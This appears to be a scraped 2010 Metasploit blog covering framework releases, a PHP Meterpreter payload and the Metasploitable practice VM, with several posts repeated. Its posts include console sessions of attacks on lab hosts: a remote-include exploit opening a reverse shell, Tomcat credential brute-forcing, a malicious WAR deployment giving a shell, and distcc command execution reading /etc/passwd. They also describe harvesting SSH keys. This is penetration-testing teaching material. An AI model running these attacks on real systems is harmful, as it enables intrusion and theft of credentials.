Looking back, I’m glad to see that we seem to have achieved these goals. The Metasploit Framework has been integrated in the Rapid7 development process, leading to the improvements the Metasploit community is experiencing today. The Metasploit Framework remains open source.
Since October 2009, the Metasploit team and Rapid7 have released six versions of the Metasploit Framework, culminating with Metasploit 3.4.1. The Metasploit Framework has added 247 new exploit modules and 184 new auxiliary modules since the acquisition. In the first half of 2010, the Metasploit Framework was downloaded or updated by more than 740,000 unique individuals, an increase of over 91 percent compared to the second half of 2009.
In addition, we launched Metasploit Express, a commercial, enterprise-grade product that makes penetration testing easy and scalable.
It seems this experiment was successful. That’s why I was thrilled to hear this news:
"Andres Riancho joined Rapid7 to launch its global Center of Excellence for Web Security. Andres is the founder of the open-source w3af project, an extensible Web Application Attack and Audit Framework that finds and exploits web application vulnerabilities".
Why is this great news?
Because Rapid7 is committed to the w3af project, sponsoring its continued open source development and "buying in" by looking at integration with their existing commercial offerings.
This is another proof point that open source can succeed, both as a development model, and a business model, with the right configuration. While the Metasploit project was acquired by Rapid7, the w3af project remains independent but sponsored by Rapid7. I am excited to see what other collaborative models the future brings.
If you are currently thinking about launching your own open-source project, let me encourage you. It is a great way to build innovative technology and to contribute to the community. And don’t worry – once the project grows to become too successful for you to do as a hobby, there are many models for you to get the help you need. Metasploit and w3af are just two examples.
Sunday, July 11, 2010
Metasploit Framework 3.4.1 Released!
The Metasploit Project is proud to announce the release of the Metasploit Framework version 3.4.1. As always, you can get it from our downloads page, for Windows or Linux. This release sees the first official non-Windows Meterpreter payload, in PHP as discussed last month. Rest assured that more is in store for Meterpreter on other platforms. A new extension called Railgun is now integrated into Meterpreter courtesy of Patrick HVE, giving you scriptable access to Windows APIs and an unprecedented amount of control over post-exploitation. For those of you wishing to contribute to the framework, a new file called HACKING has been introduced that lays out a few guidelines for making it easier.
This release has 16 new exploits, 22 new auxiliary modules and 11 new Meterpreter scripts for your pwning enjoyment. For more in-depth information about this release, see the 3.4.1 release notes
This release has 16 new exploits, 22 new auxiliary modules and 11 new Meterpreter scripts for your pwning enjoyment. For more in-depth information about this release, see the 3.4.1 release notes
Monday, June 14, 2010
Meterpreter for Pwned Home Pages
Background
Meterpreter, as I'm sure most of our readers know, is an advanced in-memory payload with tons of useful post-exploitation features. About a year ago, while looking through various buggy, backdoored PHP shells, I decided it might be useful to have some of Meterpreter's networking features in the web's most pwnable language. I started to implement this idea prior to Blackhat last year but got caught up in other projects and let it languish. Last week I dusted it off, cleaned it up and committed the first steps toward a full-fledged Meterpreter in PHP.
What works:
- stdapi:filesystem commands: ls, rm, pwd, cd, upload, download, cat, edit
- stdapi:system commands: ps, kill, execute*, getpid, getuid, sysinfo
- stdapi:network commands: portfwd
- msfconsole commands: route
* except interaction (the -i option) on Windows.
This is probably best illustrated by some example usage.
msf exploit(php_include) > exploit
[*] Started reverse handler on 192.168.99.1:4444
[*] Using URL: http://192.168.99.1:8080/foo
[*] PHP include server started.
[*] Sending /vuln/test.php?path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%39%2e%31%3a%38%30%38%30%2f%66%6f%6f%3f
[*] Meterpreter session 27 opened (192.168.99.1:4444 -> 192.168.99.129:2326) at 2010-06-14 14:03:31 -0600
meterpreter > sysinfo
Computer: EGYPT-B3E55BF3C
OS : Windows NT EGYPT-B3E55BF3C 5.1 build 2600
meterpreter > ls
Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\vuln
==========================================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 141 fil 2010-06-08 01:32:56 -0600 test.php
meterpreter > cd ..
meterpreter > ls
Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs
=====================================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 51 fil 2010-06-14 14:20:53 -0600 foo.php
100666/rw-rw-rw- 44 fil 2004-11-20 11:16:26 -0700 index.html.bak
100666/rw-rw-rw- 609 fil 2010-06-03 16:07:59 -0600 index.php
100666/rw-rw-rw- 16 fil 2010-06-07 09:42:10 -0600 phpinfo.php
40777/rwxrwxrwx 0 dir 2010-06-08 01:32:51 -0600 vuln
meterpreter > cat foo.php
<?php
echo PHP_VERSION . "\n" . PHP_OS . "\n";
meterpreter > background
msf exploit(php_include) > route add 127.0.0.1 255.255.255.0 27
msf exploit(php_include) > connect 127.0.0.1 80
[*] Connected to 127.0.0.1:80
GET /foo.php HTTP/1.0
HTTP/1.1 200 OK
Date: Mon, 14 Jun 2010 20:03:51 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Length: 111
Connection: close
Content-Type: text/html
5.2.13
WINNT
msf exploit(php_include) > sessions -i 26
meterpreter > sysinfo
Computer: vuln
OS : Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64
meterpreter > getuid
Server username: www-data (33)
meterpreter > execute -i -f bash
Process 3637 created.
Channel 4 created.
uname -a
Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64 GNU/Linux
exit
meterpreter >
What doesn't
- Migrate. This can never work since it doesn't make sense to inject PHP code into a native process, even if PHP had access to the debugging API calls that make it possible.
- Token stealing. See above.
- Screenshots. A lot of servers running PHP don't even have a screen.
- Process interaction on Windows. You can still execute channelized processes, and then read/write the channel, but stream_select() is weird on Windows
- It appears that reading from a socket or pipe that has no data will never return, even after setting timeouts. I'm probably missing something that makes this work. Setting non-blocking mode on every socket has it's own issues, but it may be the only way to fix this.
- SSL. OpenSSL is not compiled into PHP by default which is a bummer.
Future
Eventually I intend to make this work with multiple transport methods. Right now it is a single reverse tcp stage. It would also be nice to use SSL when PHP has been compiled with OpenSSL support but this might be tricky on the ruby side. Extensions need to work for a default install of PHP (zlib is not compiled in by default), which simply means not compressing them before sending. The size of the code should in general be relatively small anyway, so this shouldn't increase the network traffic by much.
Thursday, May 27, 2010
It's Ruby all the way down!
I've found myself repeating those words more than a few times over the last couple months. I've gotten some strange looks, but I've just really started to realize the power that the framework gives you. Because of its plaintextiness, it can be read / hacked / mangled by anybody. In essence, you have full visibility in to what's going on with an exploit and you can debug any problems at the moment you encounter them. Compare that to most tools, and i think you'll see the power. In short, if you can see it, you can hack on it.
The underlying rex library is also in ruby, so you can see what's going on behind the curtains of a library call. For instance, I was having trouble debugging an ssh login ('scanner/ssh/ssh_login'), so i looked at the module (look at lines 63-78), figured out how to turn debug mode on, and typed:
msf > set SSH_DEBUG true
All of a sudden, i'm getting insanely detailed output:
[*] 192.168.235.129:22 - SSH - Starting buteforce
establishing connection to 192.168.235.129:22
connection established
negotiating protocol version
remote is `SSH-1.99-OpenSSH_2.5.2p2'
local is `SSH-2.0-Ruby/Net::SSH_2.0.11 x86_64-linux'
[snip]
You could even dig further. Notice that the module has a "require 'net/ssh'". I then went to the $frameork/lib/net directory, and found ssh.rb. by adding some debug lines in here, you could get even greater visibility.
One editor (plugin) to rule them all!
On that note, a new 'editor' plugin was recently committed to make editing modules simpler. We wanted to make it trivial to look at the code for the current module. So if i want to hack on the 'ssh_login' module, rather than navigating here: $framework/modules/auxiliary/scanner/ssh/ssh_login.rb, i can simply type:
msf > use scanner/ssh/ssh_login
msf (ssh_login) > load editor
msf (ssh_login) > edit
The module loads the editor from the $EDITOR environment variable and defaults to vi if you've not set the variable. It's also worth mentioning when you're hacking away on a module and you change something, you'll want to reload the module before running it again. You can do this with a simple 'rexploit' command (for exploits) and a 'rerun' command for auxilliary modules.
That's it! Hope it makes it easier to hack on the framework. Comments / feedback welcome!
(I'm a littttttle disappointed it's not turtles, but it turns out ruby's way more fun :) )
Wednesday, May 19, 2010
Introducing Metasploitable
One of the questions that we often hear is "What systems can i use to test against?" Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.
Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.
You can use most VMware products to run it, and you'll want to make sure it's configured for Host-only networking unless it's in your lab - no need to throw another vulnerable machine on the corporate network. It's configured in non-persistent-disk mode, so you can simply reset it if you accidentally 'rm -rf' it.
Here are a couple of the things you can do with it in msfconsole:
Using the 'Tomcat Application Manager Login Utility' provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):
msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit
...
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'role1'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'root'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'tomcat'
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'both' with password:'admin'
Woot! That's a valid (tomcat:tomcat) login. - Now that we have valid credentials, let's try jduck's Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:
msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit
[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux X86"
[*] Uploading 1612 bytes as HJpy1H.war ...
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp...
[*] Undeploying HJpy1H ...
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500
Sweet! And... that's a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we'll use a command payload to 'cat /etc/passwd':
use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'
msf exploit(distcc_exec) > exploit
connecting...
[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
Code exec!
It's great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM):
Once we have an open session we can run "Evidence Collection" and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually - spawn a shell and check the .ssh directories). Now when we run another bruteforce (with 'known' credentials), you can see that it uses the SSH keyfiles to obtain access to the box:
To download Metasploitable, you can pick up the torrent on the Express Community site. If you are an Express customer, you can pick up a direct HTTP download from the Customer Center. See the README.txt here for additional information, but be aware, there are spoilers in it.
Enjoy!
Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.
You can use most VMware products to run it, and you'll want to make sure it's configured for Host-only networking unless it's in your lab - no need to throw another vulnerable machine on the corporate network. It's configured in non-persistent-disk mode, so you can simply reset it if you accidentally 'rm -rf' it.
Here are a couple of the things you can do with it in msfconsole:
Using the 'Tomcat Application Manager Login Utility' provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):
msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit
...
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'role1'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'root'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'tomcat'
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'both' with password:'admin'
Woot! That's a valid (tomcat:tomcat) login. - Now that we have valid credentials, let's try jduck's Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:
msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit
[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux X86"
[*] Uploading 1612 bytes as HJpy1H.war ...
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp...
[*] Undeploying HJpy1H ...
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500
Sweet! And... that's a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we'll use a command payload to 'cat /etc/passwd':
use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'
msf exploit(distcc_exec) > exploit
connecting...
[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
Code exec!
It's great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM):
Once we have an open session we can run "Evidence Collection" and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually - spawn a shell and check the .ssh directories). Now when we run another bruteforce (with 'known' credentials), you can see that it uses the SSH keyfiles to obtain access to the box:
To download Metasploitable, you can pick up the torrent on the Express Community site. If you are an Express customer, you can pick up a direct HTTP download from the Customer Center. See the README.txt here for additional information, but be aware, there are spoilers in it.
Enjoy!
Tuesday, May 18, 2010
Metasploit Framework 3.4.0 Released!
After five months of development, version 3.4.0 of the Metasploit Framework has been released. Since the last major release (3.3) over 100 new exploits have been added and over 200 bugs have been fixed.
This release includes massive improvements to the Meterpreter payload; both in terms of stability and features, thanks in large part to Stephen Fewer of Harmony Security. The Meterpreter payload can now capture screenshots without migrating, including the ability to bypass Session 0 Isolation on newer Windows operating systems. This release now supports the ability to migrate back and forth between 32-bit and 64-bit processes on a compromised Windows 64-bit operating system. The Meterpreter protocol now supports inline compression using zlib, resulting in faster transfers of large data blocks. A new command, "getsystem", uses several techniques to gain system access from a low-privileged or administrator-level session, including the exploitation of Tavis Ormandy's KiTrap0D vulnerability. Brett Blackham contributed a patch to compress screenshots on the server side in JPG format, reducing the overhead of the screen capture command. The pivoting backend of Meterpreter now supports bi-directional UDP and TCP relays, a big upgrade from the outgoing-only TCP pivoting capabilities of version 3.3.3.
This is the first version of Metasploit to have strong support for bruteforcing network protocols and gaining access with cracked credentials. A new mixin has been created that standardizes the options available to each of the brute force modules. This release includes support for brute forcing accounts over SSH, Telnet, MySQL, Postgres, SMB, DB2, and more, thanks to Tod Beardsley and contributions from Thomas Ring.
Metasploit now has support for generating malicious JSP and WAR files along with exploits for Tomcat and JBoss that use these to gain remote access to misconfigured installations. A new mixin was added that compiles and signs Java applets on fly, courtesy of Nathan Keltner. Thanks to some excellent work by bannedit and Joshua J. Drake, command injection or a cmd.exe shell on Windows can be staged into a full Meterpreter shell using the new CmdStager mixin and "sessions -u" syntax.
This marks the first major release developed under the Rapid7 label and coincides with general availability of Metasploit Express, our first commercial product. We hope you enjoy using the framework as much as we like working on it.
This release includes massive improvements to the Meterpreter payload; both in terms of stability and features, thanks in large part to Stephen Fewer of Harmony Security. The Meterpreter payload can now capture screenshots without migrating, including the ability to bypass Session 0 Isolation on newer Windows operating systems. This release now supports the ability to migrate back and forth between 32-bit and 64-bit processes on a compromised Windows 64-bit operating system. The Meterpreter protocol now supports inline compression using zlib, resulting in faster transfers of large data blocks. A new command, "getsystem", uses several techniques to gain system access from a low-privileged or administrator-level session, including the exploitation of Tavis Ormandy's KiTrap0D vulnerability. Brett Blackham contributed a patch to compress screenshots on the server side in JPG format, reducing the overhead of the screen capture command. The pivoting backend of Meterpreter now supports bi-directional UDP and TCP relays, a big upgrade from the outgoing-only TCP pivoting capabilities of version 3.3.3.
This is the first version of Metasploit to have strong support for bruteforcing network protocols and gaining access with cracked credentials. A new mixin has been created that standardizes the options available to each of the brute force modules. This release includes support for brute forcing accounts over SSH, Telnet, MySQL, Postgres, SMB, DB2, and more, thanks to Tod Beardsley and contributions from Thomas Ring.
Metasploit now has support for generating malicious JSP and WAR files along with exploits for Tomcat and JBoss that use these to gain remote access to misconfigured installations. A new mixin was added that compiles and signs Java applets on fly, courtesy of Nathan Keltner. Thanks to some excellent work by bannedit and Joshua J. Drake, command injection or a cmd.exe shell on Windows can be staged into a full Meterpreter shell using the new CmdStager mixin and "sessions -u" syntax.
This marks the first major release developed under the Rapid7 label and coincides with general availability of Metasploit Express, our first commercial product. We hope you enjoy using the framework as much as we like working on it.
Subscribe to:
Posts (Atom)
